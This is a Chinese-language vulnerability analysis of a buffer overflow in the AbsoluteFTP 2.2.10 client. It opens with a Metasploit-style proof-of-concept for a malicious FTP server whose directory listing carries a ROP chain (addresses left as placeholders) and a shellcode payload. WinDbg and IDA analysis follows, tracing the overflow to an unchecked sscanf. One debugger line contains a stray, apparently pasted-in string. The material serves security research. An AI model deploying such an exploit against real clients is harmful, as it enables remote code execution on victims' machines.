作者:k0shl 转载请注明出处
漏洞说明
软件下载:
https://www.exploit-db.com/apps/62e00c0b27383d87f2e3fdbe09827725-aftp2210.exe
PoC:
def on_client_command_list(c,arg)
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")
rop_gadgets =
[
0x41414141, # POP EAX # RETN (MFC42.DLL)
0x41414141, # <- *&VirtualProtect()
0x41414141, # MOV EAX,DWORD PTR DS:[EAX] # RETN 04 ** [MFC42.DLL]
0x41414141, # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN ** [MFC42.DLL]
0x41414141, # NOPS (RETN 4)
0x41414141, # NOPS (-> ebx)
0x41414141, # POP EBP # RETN (MFC42.DLL)
0x41414141, # ptr to 'jmp esp' (from MFC42.DLL)
0x41414141, # POP EAX # RETN (MFC42.DLL)
0x41414141, # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
0x41414141, # NEG EAX # RETN (MFC42.DLL)
0x41414141, # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
0x41414141, # NOPS (-> edi)
0x41414141, # POP ECX # RETN (MFC42.DLL)
0x41414141, # RW pointer (lpOldProtect) (-> ecx) !!!
0x41414141, # POP EAX # RETN (MFC42.DLL)
0x41414141, # value to negate, target value : 0x00000040, target reg : edx
0x41414141, # NEG EAX # RETN (MFC42.DLL)
0x41414141, # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
0x41414141, # ROP NOP (-> edi)
0x41414141, # POP EAX # RETN (MFC42.DLL)
0x41414141, # NOPS (-> eax)
0x41414141, # PUSHAD # RETN (MFC42.DLL)
].pack("V*")
buffer = [0x41414141].pack("V*")*848 #ROP NOP's
buffer << rop_gadgets
buffer << "\x41"*30
buffer << payload.encoded
#copypasted from ScriptFTP exploit
print_status(" - Sending directory list via data connection")
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
conn.put(dirlist)
conn.close
return
end
测试环境:
Windows xp sp3
调试软件:
windbg
IDA pro
漏洞分析
通过Client客户端访问,程序崩溃
(aac.ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=41414141 edx=0012edc4 esi=41414141 edi=00000001
eip=0049244e esp=0012ed8c ebp=77c11b72 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\AbsoluteFTP\AbsoluteFTP.EXE
AbsoluteFTP+0x9244e:
0049244e 8b8ea8000000 mov ecx,dword ptr [esi+0A8h] ds:0023:414141e9=jQuery214006186173786409199_1445704390411??????
可以看到esi+0A8h指向了一个不可读的位置,esi已经被修改为了41414141,esi指向的是一处指针,我们需要知道这个指针为何被修改,才能找到漏洞触发的原因。
有两处跳转,我们在00492441的push esi处下断点,中断后单步执行,经过0049244e没有触发漏洞,按F5直接到达漏洞触发点,说明该漏洞经过jg short loc_49244e处直接跳转。
我们在函数入口00492430处下断点。第一次断点后直接F5,第二次到达时
0:000> g
Breakpoint 0 hit
eax=0012eda4 ebx=00000000 ecx=41414141 edx=0012edc4 esi=00c275c8 edi=00000001
eip=00492430 esp=0012ed90 ebp=77c11b72 iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000257
AbsoluteFTP+0x92430:
00492430 8b442410 mov eax,dword ptr [esp+10h] ss:0023:0012eda0=41414141
此时ecx的值已经被修改成了41414141,通过kb查看堆栈调用
:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012ed8c 004534aa 41414141 0012eda4 0012edc4 AbsoluteFTP+0x92439
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AbsoluteFTP\MFC42.DLL -
0012eda8 5f403844 00000e9b 00000000 40000000 AbsoluteFTP+0x534aa
反复调试回溯,回溯到函数中
signed int __cdecl sub_496C70(const char *Src, int a2, int a3, int a4)
当在该程序中执行流程到达00496e26位置的时候,执行了一个sscanf函数,此后esp+70位置被41覆盖,详细观察一下这个过程,当到达00496e26时
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00000078 edx=00000004 esi=00c275a0 edi=00c46f1a
eip=00496e26 esp=0012edf8 ebp=77c11b72 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AbsoluteFTP+0x96e26:
00496e26 8d442448 lea eax,[esp+48h]
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll -
0:000> dd esp
0012edf8 00c2759c 00c27540 00beb150 00c24d7c
0012ee08 77ef6e1d 77ef6e3e cb0a06ae 0012eeb0
0012ee18 7877722d 72782d72 0000782d 00000000
0012ee28 00000000 77d3e929 cb0a06ae 00d8e9ec
0012ee38 00000000 0012ee78 62c231f7 b3010710
0012ee48 00000000 00000000 00000012 0012ef7c
0012ee58 00000000 00000000 00000000 0012ef7c
0012ee68 00010000 00000002 00000000 00000000
当执行完sscanf之后
0:000> p
eax=0012f840 ebx=00000000 ecx=0012f640 edx=0012ee10 esi=00c275a0 edi=00c46f1a
eip=00496e63 esp=0012edd0 ebp=77c11b72 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
AbsoluteFTP+0x96e63:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\MSVCRT.dll -
00496e63 ffd5 call ebp {MSVCRT!sscanf (77c11b72)}
0:000> p
eax=00000008 ebx=00000000 ecx=77c14a84 edx=0012eda8 esi=00c275a0 edi=00c46f1a
eip=00496e65 esp=0012edd0 ebp=77c11b72 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
AbsoluteFTP+0x96e65:
00496e65 83c428 add esp,28h
0:000> dd esp
0012edd0 00c46f1a 005745ec 0012f640 0012f840
0012ede0 0012ee10 0012f040 0012ee08 0012f440
0012edf0 0012f240 0012ee40 00c2759c 00c27540
0012ee00 00beb150 00c24d7c 0000001a 77ef6e3e
0012ee10 00000200 00000000 7877722d 72782d72
0012ee20 0000782d 00000000 00000000 77d3e929
0012ee30 cb0a06ae 00d8e9ec 00000000 0012ee78
0012ee40 41414141 41414141 41414141 41414141
可以看到该位置被覆盖,查看sscanf函数
sscanf(v4, "%*d %s %s %I64u %s %d%[ ]%s%*c%[^", &v66, &v68, &v39, &v62, &v37, &String, &Str, &Str1)
知道了漏洞发生的位置,我们具体看一下Src的值是何时传入的
0012ee40对应的位置是Str指针对应的值,这个值正好是该函数传入的第一个参数,接着回溯,到达sub_49C570函数,这个函数应该是该程序的接收函数,我们查看这个接收函数的接收部分
.text:0049C5BE call ?Receive@CAsyncSocket@@UAEHPAXHH@Z ; CAsyncSocket::Receive(void *,int,int)
.text:0049C5C3 cmp eax, 0FFFFFFFFh
.text:0049C5C6 jnz short loc_49C5FA
.text:0049C5C8 call ds:WSAGetLastError
.text:0049C5CE cmp eax, 2733h
.text:0049C5D3 jz short loc_49C60E
.text:0049C5D5 mov ecx, [esp+1Ch+arg_0]
.text:0049C5D9 push 0
.text:0049C5DB push eax
.text:0049C5DC mov eax, [esp+24h+arg_4]
.text:0049C5E0 push eax
.text:0049C5E1 push ecx
.text:0049C5E2 mov ecx, edi
.text:0049C5E4 call sub_49C3E0
.text:0049C5E9 mov eax, [edi+54h]
查看伪代码
while ( 1 )
{
v6 = *(_DWORD *)(v4 + 80);
*(_BYTE *)(v4 + 60) = 0;
v7 = *(_DWORD *)(v6 + 16);
v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 16))(v7);
v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 20))(v7);
v5 = CAsyncSocket__Receive(v4, v8, v9, a3 != 0);
if ( v5 != -1 )
break;
result = WSAGetLastError();
if ( result != 10035 )
{
sub_49C3E0(a2, a3, result, 0);
result = *(_DWORD *)(v4 + 84);
if ( result > 0 )
continue;
}
return result;
}
v4是接收到的数据,也就是漏洞触发时传入的Src,可以看到这里对接收到的数据没有进行长度检查,导致传入到sub_496C70函数时,发生了缓冲区溢出,导致漏洞的发生